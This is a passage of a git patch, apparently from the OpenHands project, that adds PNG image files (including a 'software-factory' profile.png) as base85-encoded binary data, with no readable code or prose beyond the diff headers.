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 literal 0 HcmV?d00001 diff --git a/openhands/static/img/software-factory/profile.png b/openhands/static/img/software-factory/profile.png new file mode 100644 index 0000000000000000000000000000000000000000..522255fd746a72a3e929f758a10b7e4787a15fd9 GIT binary patch literal 151217 zcmb5WWmFwo6D_()0t5&i+>+o*1aCdiicL;Xy;O_434#Ay`ySqCZyUoe@?s$LR zc;of29vkSrdR5h|syS;BBrPe72#*U70)Y@kehSEfK+qW=(A&NDZ-7toaYl1MAQX^@ zz;}7)l%r(?bvc7g*fU|aIX@`50LgEO9OxKO24obJRQt^G@bZHXxmlXD&3CFMkg==d z>tjO`!)*cvy>W2X-&vK-?r{Wo3zpiSK|_0N06x@auYBukq2(YyaMWK;DkXP_X~q*SNiB|L-C@I*O&1rA|E;va3L76OaH(;O_rd&f zXQbY884cb)EiJ9Eu+Vr%@W0%90L)GiHQmB z?{k-ux!eQ{=Bo^lkdRneS(VDvGh4CfHPzcapCb64?~ba+SoyNc%TJpe4(rV4`HeDL zUmh=|@+DJ^MK8*|oB3@MI?hzJaXg)+8ENlD?oTYKyC?c3i6t)Y%DcoWmmm>*0PzJ*0@}0Ty8jGihtA%jf~QvTC~z0M!tMhlev6jSi2F zj*g6w{(a=xd+j<~PBu0+SK-?$u#^+SSLB>TK@*e0*4C%%!`bBYRLSvNv3P2wvbnjr zaZNioaWW=W)*HT;dntW=5-4MGGbLj2bWe|$W6Y<-|9h;l1!DNdhAtOZb5_as~Zuo``uxAdz?pS(#MMXyaKUaNccDth! z?aa@gK*!%@WG2E1xC}><1fzN7H~y~K*}jH#je?Rg^Ly_^wlFLbet|p{o7IZCwDj-v zbSYtngQ=iA3?N3*zI{?|aXyD!AC6St-QB%|f$@aw=a;u!1mCw-FeC0S)|Y2z>&=#F zq>7KGaQt}LxV1JG-aBu%+m%eR5l>`<#`y~o9mH9+P=WU*F*!Lo;C!iByy?szuvS*5 zaOh;AM0}n@akMWFt1rXd?ROg?POBcb(@I)lK|%BFUhVh16;)LiRdBR}+$z8}ao{5X zJ80aC3Pd0i5*8L#qq^kZS6b6Cv%tgO!OCOi6wQ@wz28X=!KA%7JIgTXS?>-U>2^9@ zc^YOKvp<}%7>FW8z@jrR%0w(xH1n*5|Hc&+AAh@_pZ;a}zwHsIse=(#QNc+bv9zB8 z78DNze_9%_*AR=vx@kf|ukAD-n)`^n9#6eqxL8^1Cg!;u4g{Ex{xA5{tE%~KPUea| zJ=|K^Pw~Ax+O2g!QBzX`Fa0ABX_~OsY_`nX8wBH92`nscrG`Hw*B|}ww}ZT!r-5MN z2~!$oCmF0 zepP*eiGKZpRIXdC7f8Inzo3iDJrHeNPAB4S`QnKe3ufgL?WVO&>*}1TbiBO0+}tT+ zyWmDqQPI5)sJAfhprJjkrVr?6U(}TX`gy-90?aE@GCJmI?|A5)!cAoV~Mia2OdLCi(lG)>bF% zYank{zyH!mhD1#r;{Otjw=m}aXVT$$hYuQ$YiVsQS8v?d+7kHtSi(=h$5M2J5wD(* z#_2#sPEO9t`wYYwW=PM-*v8?Z*kuR+^D`fU{`u$bpt#)BwN~}`{&M%)mFI6fJ9{U* z1Et9?)?4M{^hxnO+3!#01_#3{DJd<8ok*yvF8INr|FuGdQu=k+uq*xxS9|K4EP9`HD4;-(#QyK-3Igds--1$PJ=)sf)%fq zr$V{>g@pw&a`JQzJHx>k${ztAGPBcMc5s@E0l0N@djN2eQ$=3>jrhT<@< zDK|SF2NHSSy}H|adD6J^c7G%>eal%_mp_8p&D_CsG2qAh6k$S_OLk)usUm+(s5)8X z?fd*k)XTEfW)r5>uG!%b6Uv)xoXLO3n+9`ea0JJfp zYn6P$c&K+8SA=u#YwQEr@&h5a^IU}vV78p^y>YZ^ar9a%^;TNA;3)v6wA#c^)FlLw ziz+HA094?PlJ{fKkQW{c#|g{BMQuO-$7}1pevs zg1VD0s3SEa@e_~J9*zK^1!wBX)js&ur~U+?n>2lOyD>*VK(G@m_4f8YspY;LX4)EE zZgHu0q+ced9jyX<$7#hyI8*uq0cT9WCjc@?LC1goK_%X^5qsVBH67#6YZY~MboBJ( zAnV<|Mm+-q!G(yH7H+a=k=c8|UiRC4p*Ub`Tstuw0d#E;>IIr(o})9Hb1NK0!m@&^+Wb4#XY-P#k#p#Tym z*ZcQvwq6WU1F3S>n7PIYsP)R*AO`@zAro*4kiUnA&uTt=IBg#r7|2{?F&@w84n$5K z0)W$NX?YpvgOGuN!C`zGV71#-FD(2mYNXMKbD4_Q^1KJ&B8}T+a%E)& z48A-e41;p+=nW?T{97Wr*%uZ$s#%9ed!b8P$x$KwdosOLNc^8%to?s2RwIev zT^ih_7qG&*3YY*ec}vTq+v)kX{Uw#lDLjrr_s{!F3Rqa!1+&qBsOadI)0gK6 z5ck3(P-wfm8_(4PF%LkTZTtrqhbn=nJXVHzbt9!nr?U@rmX|(9abWpZA7MD?*u6}~ zS#EW6awYl+BE$m1p`M5;Hh2lo6_p z!4Fi!23X5oLR6h`6!zsfBlJmLD^O>TZusv6Cy6051DqD&bxtD5LzWEY{$26 z4Bx$%pIDC+fi6IKjoXMyuHtm$@iG-PwN;>oUI8QOx_*8i_EJ((a`r2;Sx-;z5`g4q z01vJ0W_f-!J7$Y3S6W z$_*|wTAv<&y{$qZ`GRnF#o}m!f`UGS zj)RqH@_@2SP!I3~E7K~V!mcUH!i*lc)oNI3FB^si{8kF( zh;l23)a3n`9LcAug8n`Gu&=HC5|o21lKSE73HZC~pMBa=YWg)MRB&_ffEAt1nLT*> z_HCZuyF-Q?fsV%0vrRJsQgK$GU8!twr}!yVvd^#@ZVAIx>J9*ZbZ^HpiR8i}6JK8; zbakW5pC7Rc76{Yi~hQ50<3>LRax4LBft_)KMT zS4M2y``SFFeXzi>9#`K4Dx^K2$~yJ|BB3vwfEX0vUFSh9ZD6pS+U5rhA|yu(+5)Oq z-O2>V`VnF(&RF$03(qJLvAmst0Oydq0pSammCv77n(hkD3fyB=_0}Q~Qa|e_Jwvf2 zJe$RQFaBNV%%7S3NhU2E^6%S{?EPH$=O;-LpBHcIDwpfk-fOefgQfMF*!K7Lfr6;K z^(Lvdmc_+>{-3xfSKHGlAJ#1qZDLja`WuOf=*n6U=oXyFWR#Vi4gIEbIFV_Q^IRYN z!FOc60xo%Xn1vz=Ty+u53=xG1)RK$%k*{c+$o)B;8lg1ne_Q}~?jh+z(H39=Q=N`b zZz#uz6NJ=P=U5P5e1{J-QUG#_iHN*b45L8De0`vhDtQawm9UV|$y}vx_xihc?`ooKCB35;avc)9^wg)kL(j;_#5@ zh+ba_8b21=2~Ps@6jC?BsN`FPcK##CH)HJv308n(_UI4&5Rakb*5=$ zyzZYFYva9BlHo`-n~P}#lOsBv9vWvWZU02}tTvP@i5j(PcXVF*)WUiK_GA~W!2~ftmw?dMMFQNjdjrl6p zj|A;2j0dAg?S!v$sq+RoTOSU`9MkitwJG1PG;qY=a}=OS;7-rx{b45K2fk1(Gdke9 zmNH5Rc*r5KZIknZ&C7E0(pSggmeUxUlkjbhd?ZVVIan*a(<(p`XWLRM%5^K5C7ob6 z>rfBuB)hjH(k<}T?fhpDBemn9QM%xxf%;g}&<3i4;!z!tPE}O(m)JRHlZW`p8@Z}N z7s+I%7uK`+d3P3l(`Bpv-P@P6gr z`%k)q*@fcs1;Zcly!uj`OMbLKfkrr8uZ#hl019D97Xtm!VtvF?<>XbX88{hNMJ48W zG5l)P6cUkA$aK6QWrR)^(x+)d+mr18=VD@rn=5N# zW+tX8pG7rUjlT?gV>5H^$fDiM$3G*g`kwL8kUv5PCt>nbnMi}1@o*eo@9#pzXAKUohWSb5ns z`5F8emRq>OWz!IloaoT5m*=w{ydVwZ#{NP4yVtND2OBb7FBWhZQIf#=`RvJ;G^^hD zl;NQWV{M|tC*I*KdCc*}fa9pNcGa_)wZ>|o&|>w7x0Hz8Lu8Ml@1SR{Ate8OOy#P3 z9ZTIG4@gm1a=WXUbEEw&o0?vTtAuKmeoBU^+_efU-@`0|J(fGB7*_4$$N_0$97~ba z#K~+?!R1oe!-VG)T2nrLb(;zb_FXSo?n8`BYf+pDAGbXmLFN8&$5*{K zMr}{mktJvseiIsUnwwWBXPjI&jz`0X6TUwlir)|hq-NCn<|_xHBZ8I{9}KeRgtLlN!%ecmy!h9HD^Ms z0WSZgw^bX5anZImpJ|k`^cR&%LoliyG%{NA13j388CrW^EGIdxjX+0zs*|SbvRLMe zaI)`3)`FQ4y{Ww;UZk_UR#a0EQr`WynY?MOTSPTp^&?9!NQ}unN7UGgrd`t?<+72{ zk!a;fuct#M%HvoH3rHF6-bp`WywFvVoL2iwo6RAOoY=eM)eVEzr`}-YCKy(g5>2fz z+fxJd&-7G4^bwaXO!;aR(>z$F8L7*f%S_javRW`&6x-ffo)>I;JaDS!6$xwxa1`mr zd)`#X(EWVAo_#BbN1lj=B!-9QCf0gEZ&K7!kn*u-@a2nCnyrNmhg!$Fy{`P^i-|&f z&33(+Sxh`SmrwDgf0sIU<{MBc3ITz{s|D6RoA`Qf0)5z(6#@Pcw+fLa;hRuL1e z`m&O4ea7U|YLGACH#^Zg;c zrURfsQPN?*4KwRfX1>NYDMulPEBKpO+Ba=Ex_HAvTwdQydZmGFg)zfD1r9;|lrY2) zObxR^GQ;{Br;l?eE+z6NWlz#&kB9b(LCx8%VU0-wK^OG7F82^L7a0)|5z}kGB76+g z`8oO7H3}ueff3}07%a+tzikx`(&@wO$%tyUQshb^iZnJW2!)JRUy&#sX@00+!rO4P z*p@#nCAJWAf-3pBqBdHWXmSycf{LXJIINOMN!RgL_U0w> z_ar>&{NfP>R}GPL5@0y&?a;xY`J7v@r2i!MX2GDDiOr<#1U7Pgelx{b@ySV~>+7b1 zK+X&cYpAime!YRr0z6G29FRA@puE4hycD61#Tv*JcJ!*#?L_dgBBD89F&$(O7E4l$ zIgI6N|Jqw!2S=?NVh$5frolD))d3s~?V|_u^z+bs;BVQSEE#qaTI4R z)6H(hZ~HsGg@L1CUP$s#*7T(1I<|F*UwMmvj)w8?D|-v8;Vsqe+c#}(=_4Z}8yW2i zk-z`&p`@UI-R*{^QIE8D5Fw5=oV5hapr~p|ley*lA$}Yy(BK?alfddpy%?1EuFutD zm7jMFirL1H#)W6KwKTgPo1<69V^MCC{+Vc1n$~XOeM>+q79*;#IP0&?(Zsb-AW6iH zO+6wT7qiHI<6v$hH>euSAdM7^TPV6hOa>_H#72j@n9 zI&z2=Ax6?CX@vQ)m@bWjEE2!nxpf9i5zD#le`FRXX({E@SntI5xA*UOnr3YmBjRzb zDJU=on3h)8>mr_|uC5J00XSJ{eE|4tW?YGoZEQR=AU`av*<_28NoZB+H*tw2Qsp{b zUd)xExwsaNL9)Z$^jyK5k$sav zxh_2R5_$;=d_izLefrki1+{%h4y@jG_y$l$OwINRF_@mHMK2W_R@viU??g353-reP znY79Hshv$PyAn8U>17$G$yw(#X0^|JSRkGHVlkGsdiKw&umym1b}8b*S_TyrRaaNn zn>TNaQ@&S!s8#g<^Z>f}#cW|@F)=aD9IMqfVxdrWn+<`>?HH`w-aMofW=eZkEjc?} zQjW>Fv6VTR!18HSZ=Z0^);5P_Ds% z7OYp?ocR8t^F65wAH9d#%S`fRT;K?kqOo+YrAB4*H3n@`LM!*-T5!FJSlsZ_=}NtL zdC+prRrRvhw5MZEX$-Xw+3^z= z?6v|?Oog0*y4R^~<`A{wVQ}tq3*>N)yc9K@9B$DsE$Rb|FNoVbHZ~Su=Qz>-^$Y7U z&a?YRLm_}jXsxLDU6a(@+$>FTG*g-!8#_H+tQ0G1psTA3XhUTv|yx{$)pRRe;Lo_~^*E={ty!hk0$>n3>ILLqqV@ z2G&vwc`(9Z^3eg^5rjOhhcl%{=^k|j1r$6ysi2Oxf3|H^O5%u&-Z)bjU(ICx2n5>t ze+4XWxA9&mVJ3iYi~x)`6i<)t9r#C^fgw>G5?=!i<2#`!xU6(_g1QgGy|MRM6j}an z*$cYe=!C|Xx3y)2a(2FQB7C_t=dp^N`$=egb#TG&63=Lqd0Kt(H z2DG-ASXj}*Y5vffHVDTcq<{H?2I2SYYjCoPiontUE&|qe%=j~)(PcqL2@|d)zBzvL z|M;~5S$X+C`iuatVQFFEfyE|okI6}#n(CM#@t5cI78XXZu$EU;oYZRBr=NbeX7im1 z37|HCR+=?gqC1=`X;zydLCeGiXrnO6^LCMVeE;Lum%M0~mJ?SwWn^T44JI}q+v4qR zeC=9*F1VxS>>p7;o65~4h4SX=)2&<(BqsRxN1zBFfRS$1^g5iOZ81b!lLQJD1>oD6 z{;83o7XSO`Z(I|$#MwPPJp`QgYu4-lYgOY5`Uc+P;2-L(MLiI{-&1 zaRM(P#A>l1V3ht<52n!yU|8I8W$(}Xi2mvh&KtEi7-+75hep)qr+Y5+_69ftRIdN? z@nSvwlbWooZN7-Gw)Pspe=_QH`2kwUD>?J;wPfUU6D|&N4n3Z)?wg*jy+Mimseh93 zxd$K`)l|Z3Yp)ArvUkSPrMQ0m`lVQ|sljBr)L;X2%Br^~%NX!IfCQ>kqI?dB8H3xl zoP#4H7VBO9_RyS;M-;K5FPG^rfIP+NzF21gu(he24!D5wQL0uCga|JnYF=Diyvnxy zzdzgm0@zPFyT;cjucA*N3-& zC{$Bb0Fa-6lK4uSqXqq0T}|)NO$-F{8?OUmWfHT=WS&H_DPJo;afDU-Q{3nUR5Dqi# z2smuFmKyB;43g3D_K`v$gMb zr+`EV&|AaH0Ji{0%q59cj*Iv_u2*MQSKLapl#~MiuMWKEP9;F=mnL2SbPMoGWS|J{ zxXZ0lN?=nPC6C631-g`Ob^(9d&?8cNdN3RB!gE8@@w}pJOl4(sRW7JBF^^y*( z)3|yZQp-sukDy2V*XZEJ8Ha)Ghz<`x0GL`+pp_o^y-;d6RRMu~$gp5O2LLx&f+0z`YRy=u#Q}kxGgcN;Qq>R?Tbo_6?_!(q z1L(ml&g;)lLood_u+WdYOWo#fOO9vMhiz(GJ#9&tc$AImC5`xQ+W`r{QaaEPp@5~F z09>l)^Zl;bn{ZOGIDpLtH0(T0HWtsvJ3y;vLAM?^);pT31c+=gaq$wIyPHKT0JFSa zWwBlWT4z3-&X#LQ)T`5_bGtAGc2Ahr=1dO`4WT-Ayxm}+v6d&2Q%aZd(L{oa;%`wt z%G7lrU@!$G_ex}b7efyo@x`ZWXHn{EO7RzAH3Z~Uo7z8r{s6?!ILQX!sSb{go`AXws1-tCxGWY6HAy%?Dw244 zeJg;Z&Z7)!Zhipdm$_UqtjUs=mKM!c*XbHTc)zwEqVHOS~ty1>9?%i`F*i>F&2 zRhFF>hQ|7n-5gf@X>RVzpV*XPzU-S4kDh$9ZWO=mH72{`G(K6|vaOtye-+}GU>YT1%G35!V?xi6ItndwZ$k%gx5N1NcEhlF+f?TPk`stJ`PDKUK6Gp!q& 